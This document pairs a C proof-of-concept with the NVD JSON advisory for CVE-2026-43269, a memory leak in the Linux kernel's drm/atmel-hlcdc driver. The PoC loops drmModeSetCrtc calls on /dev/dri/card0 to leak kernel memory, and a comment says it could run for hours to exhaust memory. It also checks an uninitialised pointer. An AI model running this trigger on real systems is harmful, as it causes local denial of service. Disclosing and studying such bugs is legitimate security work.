CVE-2026-43269

/* * PoC for CVE-2026-43269 (Memory Leak in drm/atmel-hlcdc) * This script simulates the trigger condition by repeatedly setting CRTC modes. * Compile: gcc -o poc_leak poc_leak.c -ldrm */ #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <xf86drm.h> #include <xf86drmMode.h> int main(int argc, char *argv[]) { int fd; drmModeRes *resources; drmModeConnector *connector; drmModeEncoder *encoder; drmModeModeInfo *mode; // Open the DRM device (typically /dev/dri/card0) fd = open("/dev/dri/card0", O_RDWR | O_CLOEXEC); if (fd < 0) { return 1; } resources = drmModeGetResources(fd); if (!resources) { close(fd); return 1; } // Find a connected connector and mode for (int i = 0; i < resources->count_connectors; i++) { connector = drmModeGetConnector(fd, resources->connectors[i]); if (connector->connection == DRM_MODE_CONNECTED && connector->count_modes > 0) { mode = &connector->modes[0]; encoder = drmModeGetEncoder(fd, connector->encoder_id); break; } drmModeFreeConnector(connector); } if (!encoder) { drmModeFreeResources(resources); close(fd); return 1; } // Loop to trigger the atomic state change and memory leak // In a real exploit scenario, this runs for hours to exhaust memory printf("Starting memory leak trigger loop...\n"); for (int i = 0; i < 100000; i++) { // This call triggers the drm_mode_setcrtc -> atomic_commit path // which eventually calls the faulty atomic_destroy_state drmModeSetCrtc(fd, encoder->crtc_id, 0, 0, 0, &connector->connector_id, 1, mode); } // Cleanup drmModeFreeEncoder(encoder); drmModeFreeConnector(connector); drmModeFreeResources(resources); close(fd); return 0; }

{"cve": {"id": "CVE-2026-43269", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:48.053", "lastModified": "2026-05-08T19:40:49.737", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/atmel-hlcdc: fix memory leak from the atomic_destroy_state callback\n\nAfter several commits, the slab memory increases. Some drm_crtc_commit\nobjects are not freed. The atomic_destroy_state callback only put the\nframebuffer. Use the __drm_atomic_helper_plane_destroy_state() function\nto put all the objects that are no longer needed.\n\nIt has been seen after hours of usage of a graphics application or using\nkmemleak:\n\nunreferenced object 0xc63a6580 (size 64):\n comm \"egt_basic\", pid 171, jiffies 4294940784\n hex dump (first 32 bytes):\n 40 50 34 c5 01 00 00 00 ff ff ff ff 8c 65 3a c6 @P4..........e:.\n 8c 65 3a c6 ff ff ff ff 98 65 3a c6 98 65 3a c6 .e:......e:..e:.\n backtrace (crc c25aa925):\n kmemleak_alloc+0x34/0x3c\n __kmalloc_cache_noprof+0x150/0x1a4\n drm_atomic_helper_setup_commit+0x1e8/0x7bc\n drm_atomic_helper_commit+0x3c/0x15c\n drm_atomic_commit+0xc0/0xf4\n drm_atomic_helper_set_config+0x84/0xb8\n drm_mode_setcrtc+0x32c/0x810\n drm_ioctl+0x20c/0x488\n sys_ioctl+0x14c/0xc20\n ret_fast_syscall+0x0/0x54"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1", "versionEndExcluding": "5.10.252", "matchCriteriaId": "AFCC1430-2194-4A37-8732-891682CC5E8B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.202", "matchCriteriaId": "4002FC2B-1456-4666-B240-0EBF590C4671"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/082271e364a3205598c2e4e6233a9f49ce7941cf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/25e832a7830740e72103eb0b527680a4b64bbcb3", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3e64e78f4a70e3f6ac8fe5a7071f08ffd25a2489", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5718d98976ad6b9700e5a6afec67fc47a8a92580", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/57fa3487acfa3467405f8506b94682abd96e7393", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6d4e91ab97fda64e8cf9c8881cc3b4da026bd849", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ec40702029b08ee8d5f5b03303d64a10e74a957b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f12352471061df83a36edf54bbb16284793284e4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}